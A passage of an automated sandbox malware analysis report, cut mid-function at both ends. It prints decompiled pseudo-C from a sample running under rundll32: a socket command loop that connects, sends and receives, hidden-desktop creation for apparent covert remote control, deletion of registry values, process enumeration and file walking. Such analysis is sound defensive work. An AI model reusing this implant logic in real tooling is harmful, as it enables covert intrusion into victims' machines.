				short _v56;
				short _v58;
				char _v68;
				char _v72;
				intOrPtr _v92;
				intOrPtr _v96;
				char _v100;
				intOrPtr _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v125;
				char _v126;
				intOrPtr _v140;
				intOrPtr _t30;
				short _t32;
				intOrPtr _t33;
				void* _t38;
				void* _t40;
				void* _t43;
				void* _t45;
				void* _t47;
				void* _t51;
				void* _t53;
				char _t54;
				void* _t55;
				void* _t58;
				void* _t59;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				short _t71;
				void* _t75;
				char* _t77;
				char* _t78;
				void* _t80;
				void* _t83;
				void* _t84;
				intOrPtr _t85;
				signed int _t86;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t97;

				_t88 = (_t86 & 0xfffffff8) - 0x54;
				_t30 =  *0xfd65f0; // 0x7b71be40
				_v52 = _t30;
				_v56 = 2;
				_t32 =  *0xfd76f4( *0xfd65f4 & 0x0000ffff, _t75, _t80, _t65);
				_v58 = _t32;
				_t33 =  *0xfd76d4(2, 1, 6);
				if(2 != 0xffffffff) {
					_push(0x10);
					_push( &_v72);
					_push(2);
					if( *0xfd76e0() == 0) {
						 *0xfd6408 = 2;
						if(2 != 0) {
							goto L5;
						}
					} else {
						 *0xfd76d8(2);
						 *0xfd6408 = 0xffffffff;
						goto L5;
					}
				} else {
					 *0xfd6408 = _t33;
					L5:
					_push(2);
					E00FC5960( &_v68, _a4);
					_t67 =  *0xfd6408; // 0x0
					_t77 =  &_v68;
					_t89 = _t88 + 4;
					_t83 = 0x22;
					while(1) {
						_t38 =  *0xfd76dc(_t67, _t77, _t83, 0);
						if(_t38 <= 0) {
							goto L32;
						}
						_t77 = _t77 + _t38;
						_t83 = _t83 - _t38;
						if(_t83 != 0) {
							continue;
						} else {
							_push(1);
							_push( &_v125);
							_t40 = E00FC1760( *0xfd6408);
							_t90 = _t89 + 0xc;
							if(_t40 != 0 && _v125 == 0 && E00FCACE0() != 0) {
								_push(1);
								_push( &_v126);
								_t43 = E00FC1760( *0xfd6408);
								_t91 = _t90 + 0xc;
								if(_t43 != 0) {
									do {
										if(_v126 == 0) {
											goto L31;
										} else {
											_t47 = E00FC1700( *0xfd6408,  *0xfd63f8 & 0x0000ffff);
											_t92 = _t91 + 8;
											if(_t47 != 0) {
												_t51 = E00FC7A40(0xfd65fc,  &_v120,  &_v112,  &_v116);
												_t93 = _t92 + 0x10;
												if(_t51 == 0) {
													_t71 =  &_v108;
													if(E00FCA850(_t71) != 0) {
														_t53 = E00FC1740( *0xfd6408, 1);
														_t94 = _t93 + 8;
														if(_t53 != 0) {
															_t54 =  *0xfd655c; // 0x0
															_push(_t71);
															_v124 = _t54;
															_t55 = E00FCAD39( &_v124, _t71, _t54);
															_t95 = _t94 + 0xc;
															if(_t55 == 0) {
																_t78 =  &_v100;
																_t84 = 0xc;
																_t68 =  *0xfd6408; // 0x0
																_v100 = _v108;
																_v96 = _v104;
																_v92 = _v124;
																while(1) {
																	_t58 =  *0xfd76dc(_t68, _t78, _t84, 0);
																	if(_t58 <= 0) {
																		goto L32;
																	}
																	_t78 = _t78 + _t58;
																	_t84 = _t84 - _t58;
																	if(_t84 != 0) {
																		continue;
																	} else {
																		_t59 = E00FC1680( *0xfd6408,  *0xfd641c, _v140);
																		_t91 = _t95 + 0xc;
																		goto L30;
																	}
																	goto L32;
																}
															}
														}
													} else {
														_t59 = E00FC1740( *0xfd6408, _t52);
														_t91 = _t93 + 8;
														L30:
														if(_t59 != 0) {
															goto L31;
														}
													}
												} else {
													_t60 = E00FC1740( *0xfd6408, _v120);
													_t96 = _t93 + 8;
													if(_t60 != 0) {
														_t85 = _v116;
														_t61 = E00FC16C0( *0xfd6408, _t85);
														_t91 = _t96 + 8;
														if(_t61 != 0) {
															_t79 = _v112;
															if(_v112 == 0 || _t85 == 0) {
																goto L31;
															} else {
																_t62 = E00FC1680( *0xfd6408, _t79, _t85);
																_t97 = _t91 + 0xc;
																if(_t62 != 0) {
																	E00FC7AA0(_t79, _t85);
																	_t91 = _t97 + 8;
																	goto L31;
																}
															}
														}
													}
												}
											}
										}
										goto L32;
										L31:
										_push(1);
										_push( &_v126);
										_t45 = E00FC1760( *0xfd6408);
										_t91 = _t91 + 0xc;
									} while (_t45 != 0);
								}
							}
						}
						goto L32;
					}
				}
				L32:
				 *0xfd63ec = 0;
				return 0;
			}

0x00fc5a36
0x00fc5a39
0x00fc5a48
0x00fc5a52
0x00fc5a57
0x00fc5a63
0x00fc5a68
0x00fc5a73
0x00fc5a7c
0x00fc5a82
0x00fc5a83
0x00fc5a8c
0x00fc5aa1
0x00fc5aa9
0x00000000
0x00000000
0x00fc5a8e
0x00fc5a8f
0x00fc5a95
0x00000000
0x00fc5a95
0x00fc5a75
0x00fc5a75
0x00fc5aaf
0x00fc5ab6
0x00fc5ab8
0x00fc5abd
0x00fc5ac3
0x00fc5ac7
0x00fc5aca
0x00fc5ad0
0x00fc5ad5
0x00fc5add
0x00000000
0x00000000
0x00fc5ae3
0x00fc5ae5
0x00fc5ae7
0x00000000
0x00fc5ae9
0x00fc5ae9
0x00fc5aef
0x00fc5af6
0x00fc5afb
0x00fc5b00
0x00fc5b1e
0x00fc5b24
0x00fc5b2b
0x00fc5b30
0x00fc5b35
0x00fc5b40
0x00fc5b45
0x00000000
0x00fc5b4b
0x00fc5b59
0x00fc5b5e
0x00fc5b63
0x00fc5b7d
0x00fc5b82
0x00fc5b87
0x00fc5bf9
0x00fc5c04
0x00fc5c22
0x00fc5c27
0x00fc5c2c
0x00fc5c32
0x00fc5c3b
0x00fc5c3e
0x00fc5c42
0x00fc5c47
0x00fc5c4c
0x00fc5c52
0x00fc5c5a
0x00fc5c5f
0x00fc5c65
0x00fc5c6d
0x00fc5c71
0x00fc5c75
0x00fc5c7a
0x00fc5c82
0x00000000
0x00000000
0x00fc5c84
0x00fc5c86
0x00fc5c88
0x00000000
0x00fc5c8a
0x00fc5c9a
0x00fc5c9f
0x00000000
0x00fc5c9f
0x00000000
0x00fc5c88
0x00fc5c75
0x00fc5c4c
0x00fc5c06
0x00fc5c0d
0x00fc5c12
0x00fc5ca2
0x00fc5ca4
0x00000000
0x00000000
0x00fc5ca4
0x00fc5b89
0x00fc5b93
0x00fc5b98
0x00fc5b9d
0x00fc5ba3
0x00fc5bae
0x00fc5bb3
0x00fc5bb8
0x00fc5bbe
0x00fc5bc4
0x00000000
0x00fc5bd2
0x00fc5bda
0x00fc5bdf
0x00fc5be4
0x00fc5bec
0x00fc5bf1
0x00000000
0x00fc5bf1
0x00fc5be4
0x00fc5bc4
0x00fc5bb8
0x00fc5b9d
0x00fc5b87
0x00fc5b63
0x00000000
0x00fc5ca6
0x00fc5ca6
0x00fc5cac
0x00fc5cb3
0x00fc5cb8
0x00fc5cbb
0x00fc5b40
0x00fc5b35
0x00fc5b00
0x00000000
0x00fc5ae7
0x00fc5ad0
0x00fc5cc3
0x00fc5cc5
0x00fc5cd5

APIs

htons.WS2_32 ref: 00FC5A57
socket.WS2_32(00000002,00000001,00000006), ref: 00FC5A68
connect.WS2_32(00000000,?,00000010), ref: 00FC5A84
closesocket.WS2_32(00000000), ref: 00FC5A8F
send.WS2_32(00000000,?,00000022,00000000), ref: 00FC5AD5

Part of subcall function 00FC1760: select.WS2_32(?,?,?,?), ref: 00FC1799
Part of subcall function 00FC1760: recv.WS2_32(?,?,?,00000000), ref: 00FC17B5

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: closesocketconnecthtonsrecvselectsendsocket
String ID:
API String ID: 1299002464-0
Opcode ID: 6cfd813f106d7332622084da2f7b534a28d3ef8533dadcf3af4e6868cc075e4c
Instruction ID: 647b6ee4954ea207b09a06ea7a97fe53289e94149be5db07e3b93afa2b9562fd
Opcode Fuzzy Hash: 6cfd813f106d7332622084da2f7b534a28d3ef8533dadcf3af4e6868cc075e4c
Instruction Fuzzy Hash: 7E61E2B1905706AFDB10DB31EF06F6677A9BB41B54F04052DF840C22A2F721E995FBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FC2330 Relevance: 9.1, APIs: 6, Instructions: 107
memoryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00FC2330(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				WCHAR* _v16;
				intOrPtr _v20;
				long _v24;
				signed int _v28;
				char _v32;
				signed int _t27;
				long _t29;
				signed int _t48;
				int _t61;
				signed int _t63;
				void* _t66;

				_push(_a4);
				_push(0);
				_push(0);
				_push( &_v32);
				_v20 = __edx;
				_push( &_v12);
				asm("xorps xmm0, xmm0");
				_push(1);
				_v16 = __ecx;
				asm("movlpd [esp+0x38], xmm0");
				E00FC3AA0(__ecx, __edx);
				_t48 = _v8;
				_t66 = (_t63 & 0xfffffff8) - 0x1c + 0x18;
				_t27 = _v12;
				if(_t48 != 0 || _t27 > 0xa00000) {
					_v28 = (_t48 << 0x00000020 | _t27) >> 0x14;
					if( *0xfd672c != 0) {
						_t61 = LocalAlloc(0, 4);
						if(_t61 != 0) {
							 *_t61 = 0;
							E00FC1000(_t61,  &_v28, 4);
							_t66 = _t66 + 0xc;
							EnterCriticalSection(0xfd6714);
							 *0xfd65fc = 0xa;
							 *0xfd6601 = 4;
							 *0xfd65fd = _t61;
							LeaveCriticalSection(0xfd6714);
						}
					}
					_t29 = GetTickCount();
					asm("xorps xmm0, xmm0");
					_v24 = _t29;
					_push(_a4);
					asm("movlpd [esp+0x24], xmm0");
					_push( &_v24);
					_push(E00FC2290);
					_push( &_v32);
					_push( &_v12);
					_push(0);
					E00FC3AA0(_v16, _v20);
					if( *0xfd672c != 0) {
						EnterCriticalSection(0xfd6714);
						 *0xfd65fc = 0xb;
						 *0xfd6601 = 0;
						 *0xfd65fd = 0;
						LeaveCriticalSection(0xfd6714);
					}
					return _v32;
				} else {
					_push(_a4);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00FC3AA0(__ecx, __edx);
					return _v32;
				}
			}

0x00fc233c
0x00fc2345
0x00fc2347
0x00fc2349
0x00fc234e
0x00fc2352
0x00fc2355
0x00fc2358
0x00fc235a
0x00fc235e
0x00fc2364
0x00fc2369
0x00fc236d
0x00fc2370
0x00fc2376
0x00fc23bb
0x00fc23bf
0x00fc23cb
0x00fc23cf
0x00fc23d7
0x00fc23dc
0x00fc23e1
0x00fc23e9
0x00fc23f0
0x00fc23f7
0x00fc2401
0x00fc2407
0x00fc2407
0x00fc23cf
0x00fc2409
0x00fc2413
0x00fc241a
0x00fc2421
0x00fc2426
0x00fc242c
0x00fc242d
0x00fc2436
0x00fc243b
0x00fc243c
0x00fc243e
0x00fc244d
0x00fc2454
0x00fc245b
0x00fc2462
0x00fc246c
0x00fc2476
0x00fc2476
0x00fc2482
0x00fc237f
0x00fc2384
0x00fc2385
0x00fc2387
0x00fc2389
0x00fc238b
0x00fc238d
0x00fc2391
0x00fc23a3
0x00fc23a3

APIs

Part of subcall function 00FC3AA0: GetFileAttributesW.KERNEL32 ref: 00FC3AB5
Part of subcall function 00FC3AA0: lstrlenW.KERNEL32 ref: 00FC3ACD
Part of subcall function 00FC3AA0: lstrlenW.KERNEL32(?), ref: 00FC3B7C
Part of subcall function 00FC3AA0: CreateDirectoryW.KERNEL32(?,00000000), ref: 00FC3BCA
Part of subcall function 00FC3AA0: FindFirstFileW.KERNEL32(?,?), ref: 00FC3BDF

LocalAlloc.KERNEL32(00000000,00000004), ref: 00FC23C5
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC23E9
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC2407
GetTickCount.KERNEL32 ref: 00FC2409
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC2454
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC2476

Part of subcall function 00FC3AA0: lstrcmpiW.KERNEL32(00000002,?), ref: 00FC3B16
Part of subcall function 00FC3AA0: FindNextFileW.KERNEL32(00000010,00000010), ref: 00FC3D26
Part of subcall function 00FC3AA0: FindClose.KERNEL32(?), ref: 00FC3D3D

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CriticalSection$FileFind$EnterLeavelstrlen$AllocAttributesCloseCountCreateDirectoryFirstLocalNextTicklstrcmpi
String ID:
API String ID: 2386738862-0
Opcode ID: 55cb142c3ff16e72d2f00ff178e4e9623eb5a23bf6ea481fec23b60c256dd12a
Instruction ID: 977059cfa85b8f3dea5b70904ef66daf1309dd5e36b1ad1bc6a48a912844345c
Opcode Fuzzy Hash: 55cb142c3ff16e72d2f00ff178e4e9623eb5a23bf6ea481fec23b60c256dd12a
Instruction Fuzzy Hash: D331F271A4430AABD300DF24DD42F5BBBD9EB84758F04422EF944C7292DB75D948DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FC9960 Relevance: 9.1, APIs: 6, Instructions: 61
processCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00FC9960(void* __ecx, char __edx) {
				int _v4;
				short _v528;
				intOrPtr _v556;
				char _v560;
				void* _v564;
				WCHAR* _v568;
				void* _t27;
				void* _t28;
				int _t29;

				_t29 = 0;
				_v560 = __edx;
				_t27 = __ecx;
				_t28 = CreateToolhelp32Snapshot(2, 0);
				if(_t28 != 0xffffffff) {
					_v560 = 0x22c;
					_push( &_v560);
					if(Process32FirstW(_t28) == 0) {
						L8:
						CloseHandle(_t28);
						return _t29;
					} else {
						while(_v556 != _t27) {
							if(Process32NextW(_t28,  &_v564) != 0) {
								continue;
							} else {
								CloseHandle(_t28);
								return _t29;
							}
							goto L9;
						}
						lstrcpynW(_v568,  &_v528, _v4);
						_t29 = 1;
						goto L8;
					}
				} else {
					return 0;
				}
				L9:
			}

0x00fc9969
0x00fc996b
0x00fc9972
0x00fc997a
0x00fc997f
0x00fc9991
0x00fc9999
0x00fc99a3
0x00fc99f2
0x00fc99f3
0x00fc9a04
0x00fc99a5
0x00fc99b0
0x00fc99c0
0x00000000
0x00fc99c2
0x00fc99c4
0x00fc99d5
0x00fc99d5
0x00000000
0x00fc99c0
0x00fc99e6
0x00fc99ec
0x00000000
0x00fc99f1
0x00fc9983
0x00fc998c
0x00fc998c
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00FC9974
Process32FirstW.KERNEL32(00000000,?), ref: 00FC999B
Process32NextW.KERNEL32(00000000,?), ref: 00FC99BC
CloseHandle.KERNEL32(00000000), ref: 00FC99C4

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f094b7ae76fc7b5da226721e544151c219e069afeacee9ab03a5579b9fa53b21
Instruction ID: 55c7705fb7d0b19ce7cb66631faac662587c29a4d6efcd650185fb82ca112d05
Opcode Fuzzy Hash: f094b7ae76fc7b5da226721e544151c219e069afeacee9ab03a5579b9fa53b21
Instruction Fuzzy Hash: 2F11C2326042199FD3105F19ED8DEFBB7A9FB85331F44053EF914C2150D77A8A0DAAA6

Uniqueness

Uniqueness Score: -1.00%

Function 00FC33E0 Relevance: 9.0, APIs: 6, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00FC33E0() {
				void* _v4;
				char* _t19;
				char* _t20;

				_t19 =  *0xfd6bb0; // 0xfd9de4
				if(RegOpenKeyExA(0x80000001,  *0xfd6bac, 0, 0x20006,  &_v4) != 0) {
					L2:
					_t20 =  *0xfd6bb0; // 0xfd9de4
					if(RegOpenKeyExA(0x80000002,  *0xfd6bac, 0, 0x20006,  &_v4) != 0) {
						L5:
						return 0;
					} else {
						RegDeleteValueA(_v4, _t20);
						asm("sbb esi, esi");
						RegCloseKey(_v4);
						if( &(_t20[1]) == 0) {
							goto L5;
						} else {
							goto L4;
						}
					}
				} else {
					RegDeleteValueA(_v4, _t19);
					asm("sbb esi, esi");
					RegCloseKey(_v4);
					if( &(_t19[1]) != 0) {
						L4:
						return 1;
					} else {
						goto L2;
					}
				}
			}

0x00fc33e2
0x00fc3407
0x00fc3427
0x00fc3427
0x00fc344c
0x00fc3474
0x00fc3478
0x00fc344e
0x00fc3453
0x00fc345f
0x00fc3461
0x00fc346a
0x00000000
0x00000000
0x00000000
0x00000000
0x00fc346a
0x00fc3409
0x00fc340e
0x00fc341a
0x00fc341c
0x00fc3425
0x00fc346c
0x00fc3473
0x00000000
0x00000000
0x00000000
0x00fc3425

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,00020006,?), ref: 00FC33FF
RegDeleteValueA.ADVAPI32(?,00FD9DE4), ref: 00FC340E
RegCloseKey.ADVAPI32(?), ref: 00FC341C
RegOpenKeyExA.ADVAPI32(80000002,00000000,00020006,?), ref: 00FC3444
RegDeleteValueA.ADVAPI32(?,00FD9DE4), ref: 00FC3453
RegCloseKey.ADVAPI32(?), ref: 00FC3461

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: e47b2f3492571314efe31adc85407f9823576ff4016c0372f5a5de0330b765ce
Instruction ID: 89a4a5dbf53dd96e523820bfc68db2ef72459b714e1fd26938f090bd88038956
Opcode Fuzzy Hash: e47b2f3492571314efe31adc85407f9823576ff4016c0372f5a5de0330b765ce
Instruction Fuzzy Hash: 06017531940125BBDA214B74ED0AF66BB66FB45B51F10842AF549E3161C3629C14F751

Uniqueness

Uniqueness Score: -1.00%

Function 00FC3480 Relevance: 9.0, APIs: 6, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00FC3480() {
				void* _v4;
				short* _t19;
				short* _t20;

				_t19 =  *0xfd67fc; // 0xfd7d82
				if(RegOpenKeyExW(0x80000001,  *0xfd67f8, 0, 0x20006,  &_v4) != 0) {
					L2:
					_t20 =  *0xfd67fc; // 0xfd7d82
					if(RegOpenKeyExW(0x80000002,  *0xfd67f8, 0, 0x20006,  &_v4) != 0) {
						L5:
						return 0;
					} else {
						RegDeleteValueW(_v4, _t20);
						asm("sbb esi, esi");
						RegCloseKey(_v4);
						if( &(_t20[0]) == 0) {
							goto L5;
						} else {
							goto L4;
						}
					}
				} else {
					RegDeleteValueW(_v4, _t19);
					asm("sbb esi, esi");
					RegCloseKey(_v4);
					if( &(_t19[0]) != 0) {
						L4:
						return 1;
					} else {
						goto L2;
					}
				}
			}

0x00fc3482
0x00fc34a7
0x00fc34c7
0x00fc34c7
0x00fc34ec
0x00fc3514
0x00fc3518
0x00fc34ee
0x00fc34f3
0x00fc34ff
0x00fc3501
0x00fc350a
0x00000000
0x00000000
0x00000000
0x00000000
0x00fc350a
0x00fc34a9
0x00fc34ae
0x00fc34ba
0x00fc34bc
0x00fc34c5
0x00fc350c
0x00fc3513
0x00000000
0x00000000
0x00000000
0x00fc34c5

APIs

RegOpenKeyExW.ADVAPI32(80000001,00000000,00020006,?), ref: 00FC349F
RegDeleteValueW.ADVAPI32(?,00FD7D82), ref: 00FC34AE
RegCloseKey.ADVAPI32(?), ref: 00FC34BC
RegOpenKeyExW.ADVAPI32(80000002,00000000,00020006,?), ref: 00FC34E4
RegDeleteValueW.ADVAPI32(?,00FD7D82), ref: 00FC34F3
RegCloseKey.ADVAPI32(?), ref: 00FC3501

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: fd0a58ac4aeb5510231d74a49a4448361b7aa424bb28e29cf31fabae8768359a
Instruction ID: 54595f31e70c51bef3df055c244567516b9c473ef24bb9edd3676fc55748c1bc
Opcode Fuzzy Hash: fd0a58ac4aeb5510231d74a49a4448361b7aa424bb28e29cf31fabae8768359a
Instruction Fuzzy Hash: 6F01D831D8012ABBDB204B74EE0AF96BBAAEB00B55F048529F60AD3071C7319D54FB91

Uniqueness

Uniqueness Score: -1.00%

Function 00FC5560 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49
windowCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00FC5560(struct HWND__* __ecx, void* __edx) {
				struct _WINDOWPLACEMENT _v44;
				struct HWND__* _t14;
				void* _t15;
				void* _t16;
				void* _t17;
				long _t18;

				_t14 = __ecx;
				_t15 = __edx;
				if(IsWindow(__ecx) == 0) {
					L5:
					return 0;
				} else {
					_t16 = _t15 - 8;
					if(_t16 == 0) {
						_push(0);
						_push(0xf020);
						goto L11;
					} else {
						_t17 = _t16 - 1;
						if(_t17 == 0) {
							_v44.length = 0x2c;
							if(GetWindowPlacement(_t14,  &_v44) != 0) {
								_push(0);
								if((_v44.flags & 0x00000003) == 0) {
									_push(0xf030);
								} else {
									_push(0xf120);
								}
								L11:
								PostMessageW(_t14, 0x112, ??, ??);
							}
							return 1;
						} else {
							_t18 = _t17 - 0xb;
							if(_t18 == 0) {
								PostMessageW(_t14, 0x112, 0xf060, _t18);
							}
							goto L5;
						}
					}
				}
			}

0x00fc5565
0x00fc5567
0x00fc5572
0x00fc5596
0x00fc559c
0x00fc5574
0x00fc5574
0x00fc5577
0x00fc55cc
0x00fc55ce
0x00000000
0x00fc5579
0x00fc5579
0x00fc557c
0x00fc55a1
0x00fc55b3
0x00fc55ba
0x00fc55bc
0x00fc55c5
0x00fc55be
0x00fc55be
0x00fc55be
0x00fc55d3
0x00fc55d9
0x00fc55d9
0x00fc55e9
0x00fc557e
0x00fc557e
0x00fc5581
0x00fc558f
0x00fc558f
0x00000000
0x00fc5581
0x00fc557c
0x00fc5577

APIs

IsWindow.USER32(00000000), ref: 00FC556A
PostMessageW.USER32(00000000,00000112,0000F060,?), ref: 00FC558F
GetWindowPlacement.USER32(00000000,?), ref: 00FC55AB
PostMessageW.USER32(00000000,00000112,0000F020,00000000), ref: 00FC55D9

Strings

,, xrefs: 00FC55A1

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: MessagePostWindow$Placement
String ID: ,
API String ID: 2568874510-3772416878
Opcode ID: 873c821c53b805676140d1f53bd9b2cbe2ec5778619db66e1e6eb61b4c258cf4
Instruction ID: 7ecc3d9150431de807c6cae343da8f50b3c0b8421376e894d3bb3576d843128e
Opcode Fuzzy Hash: 873c821c53b805676140d1f53bd9b2cbe2ec5778619db66e1e6eb61b4c258cf4
Instruction Fuzzy Hash: 93012633A4030766E22416299F4FFFB7E6A9F89F24F0C443CF804A64D1D7A46A89B151

Uniqueness

Uniqueness Score: -1.00%

Function 00FCACE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FCACE0() {
				WCHAR* _t1;
				WCHAR* _t4;

				_t1 =  *0xfd6388; // 0x0
				if(_t1 != 0) {
					L4:
					return SetThreadDesktop(_t1);
				} else {
					_t4 =  !=  ?  *0xfd6748 : L"d06ed635";
					_t1 = OpenDesktopW(_t4, _t1, 1, 0x10000000);
					 *0xfd6388 = _t1;
					if(_t1 != 0) {
						goto L4;
					} else {
						_t1 = CreateDesktopW(_t4, _t1, _t1, 1, 0x10000000, _t1);
						 *0xfd6388 = _t1;
						if(_t1 != 0) {
							goto L4;
						} else {
							return _t1;
						}
					}
				}
			}

0x00fcace0
0x00fcace8
0x00fcad30
0x00fcad38
0x00fcacea
0x00fcacfa
0x00fcad05
0x00fcad0b
0x00fcad12
0x00000000
0x00fcad14
0x00fcad1f
0x00fcad25
0x00fcad2c
0x00000000
0x00fcad2f
0x00fcad2f
0x00fcad2f
0x00fcad2c
0x00fcad12

APIs

OpenDesktopW.USER32(d06ed635,00000000,00000001,10000000), ref: 00FCAD05
CreateDesktopW.USER32 ref: 00FCAD1F
SetThreadDesktop.USER32(00000000,00000022,00FC5DE6), ref: 00FCAD31

Strings

d06ed635, xrefs: 00FCACF0, 00FCAD04, 00FCAD1E

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Desktop$CreateOpenThread
String ID: d06ed635
API String ID: 2367282592-745246866
Opcode ID: 928496c96b82d00553f630446586840f94ff73803207001cd289d0b9e18b2eb1
Instruction ID: 0116eb96a07b842aec89294bc1d2c38cd9edc68cf7ad17e2aa2bd5ffac5429ff
Opcode Fuzzy Hash: 928496c96b82d00553f630446586840f94ff73803207001cd289d0b9e18b2eb1
Instruction Fuzzy Hash: 6FF06571903A1AABEB108B34BD05FE677AED744756F000027F901D2210D731AC807655

Uniqueness

Uniqueness Score: -1.00%

Function 00FC7AA0 Relevance: 6.3, APIs: 5, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FC7AA0(void* _a4, intOrPtr _a8) {
				void* _t3;
				void* _t4;
				int _t5;
				intOrPtr _t6;

				if( *0xfd672c == 0) {
					return _t3;
				} else {
					EnterCriticalSection(0xfd6714);
					_t4 = _a4;
					if(_t4 == 0) {
						L6:
						LeaveCriticalSection(0xfd6714);
						return _t4;
					}
					_t6 = _a8;
					if(_t6 == 0) {
						goto L6;
					}
					if(_t6 <= 0x1000) {
						_t4 = LocalFree(_t4);
						goto L6;
					}
					_t5 = VirtualFree(_t4, 0, 0x8000);
					LeaveCriticalSection(0xfd6714);
					return _t5;
				}
			}

0x00fc7aa7
0x00fc7af8
0x00fc7aa9
0x00fc7aae
0x00fc7ab4
0x00fc7aba
0x00fc7aed
0x00fc7af2
0x00000000
0x00fc7af2
0x00fc7abc
